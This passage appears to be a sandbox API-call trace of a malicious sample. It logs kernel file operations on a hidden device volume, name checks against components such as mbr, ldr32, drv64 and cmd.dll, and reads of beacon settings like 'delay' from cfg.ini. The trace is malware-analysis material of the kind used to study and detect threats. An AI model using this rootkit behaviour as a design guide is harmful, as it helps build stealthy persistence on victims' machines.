dwMilliseconds=0x0) returned 0x102 [0128.316] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.316] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.316] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.316] KeEnterCriticalRegion () [0128.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.316] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.316] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.316] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.316] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.316] IdePortDispatch () returned 0x103 [0128.316] KeWaitForMutexObject () returned 0x0 [0128.316] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.316] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.316] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.316] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.316] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.316] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.316] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.316] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.317] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.317] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.317] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.317] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.317] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.317] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.317] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.317] KeLeaveCriticalRegion () [0128.317] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.317] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.317] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.317] KeEnterCriticalRegion () [0128.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.317] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.317] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.317] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.317] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.317] IdePortDispatch () returned 0x103 [0128.317] KeWaitForMutexObject () returned 0x0 [0128.317] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.317] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.317] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.317] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.317] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.317] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.318] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.318] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.318] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.318] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.318] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.318] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.318] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.318] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.318] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.318] KeLeaveCriticalRegion () [0128.318] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.318] ReleaseMutex (hMutex=0x100) returned 1 [0128.318] Sleep (dwMilliseconds=0x2bf20) [0128.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fb167f0, dwHighDateTime=0x1d24fa4)) [0128.333] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.333] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.333] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.333] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.333] KeEnterCriticalRegion () [0128.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.333] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.333] IdePortDispatch () returned 0x103 [0128.334] KeWaitForMutexObject () returned 0x0 [0128.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.334] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.334] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.334] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.334] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.334] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039508e0 [0128.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.334] KeLeaveCriticalRegion () [0128.334] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.334] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.334] KeEnterCriticalRegion () [0128.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.334] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.334] KeLeaveCriticalRegion () [0128.334] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.334] KeEnterCriticalRegion () [0128.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.334] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.334] IdePortDispatch () returned 0x103 [0128.335] KeWaitForMutexObject () returned 0x0 [0128.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.335] KeLeaveCriticalRegion () [0128.335] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.335] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.335] KeEnterCriticalRegion () [0128.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.335] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003489000 [0128.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.335] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.335] IdePortDispatch () returned 0x103 [0128.335] KeWaitForMutexObject () returned 0x0 [0128.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.335] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.335] IdePortDispatch () returned 0x103 [0128.336] KeWaitForMutexObject () returned 0x0 [0128.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.336] KeLeaveCriticalRegion () [0128.336] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.336] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.336] KeEnterCriticalRegion () [0128.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.336] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.337] KeLeaveCriticalRegion () [0128.337] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.337] KeEnterCriticalRegion () [0128.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.337] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.337] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.337] KeLeaveCriticalRegion () [0128.337] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.337] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.337] KeEnterCriticalRegion () [0128.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.337] ExFreePoolWithTag (P=0xfffffa80039508e0, Tag=0x0) [0128.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.337] KeLeaveCriticalRegion () [0128.337] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.337] ReleaseMutex (hMutex=0xf0) returned 1 [0128.337] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.337] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.337] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.337] KeEnterCriticalRegion () [0128.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.337] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.337] IdePortDispatch () returned 0x103 [0128.337] KeWaitForMutexObject () returned 0x0 [0128.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.339] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.339] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.339] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.339] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.339] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe460 [0128.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.339] KeLeaveCriticalRegion () [0128.339] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.339] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.339] KeEnterCriticalRegion () [0128.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.339] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.339] KeLeaveCriticalRegion () [0128.339] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.339] KeEnterCriticalRegion () [0128.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.339] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.339] IdePortDispatch () returned 0x103 [0128.339] KeWaitForMutexObject () returned 0x0 [0128.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.340] KeLeaveCriticalRegion () [0128.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.340] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.340] KeEnterCriticalRegion () [0128.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.340] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034aa000 [0128.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.340] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.340] IdePortDispatch () returned 0x103 [0128.340] KeWaitForMutexObject () returned 0x0 [0128.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.340] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.340] IdePortDispatch () returned 0x103 [0128.340] KeWaitForMutexObject () returned 0x0 [0128.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.341] KeLeaveCriticalRegion () [0128.341] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.341] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.341] KeEnterCriticalRegion () [0128.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.341] KeLeaveCriticalRegion () [0128.341] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.341] KeEnterCriticalRegion () [0128.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.341] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.342] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.342] KeLeaveCriticalRegion () [0128.342] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.342] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.342] KeEnterCriticalRegion () [0128.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.342] ExFreePoolWithTag (P=0xfffffa8003bfe460, Tag=0x0) [0128.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.342] KeLeaveCriticalRegion () [0128.342] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.342] ReleaseMutex (hMutex=0xf0) returned 1 [0128.342] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.350] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.350] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.350] KeEnterCriticalRegion () [0128.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.350] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.350] IdePortDispatch () returned 0x103 [0128.350] KeWaitForMutexObject () returned 0x0 [0128.350] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.351] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.351] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.351] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.351] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.351] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039508e0 [0128.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.351] KeLeaveCriticalRegion () [0128.351] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.351] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.351] KeEnterCriticalRegion () [0128.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.351] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.351] KeLeaveCriticalRegion () [0128.351] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.351] KeEnterCriticalRegion () [0128.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.351] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.351] IdePortDispatch () returned 0x103 [0128.351] KeWaitForMutexObject () returned 0x0 [0128.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.351] KeLeaveCriticalRegion () [0128.351] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.352] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.352] KeEnterCriticalRegion () [0128.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.352] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ad000 [0128.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.352] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, 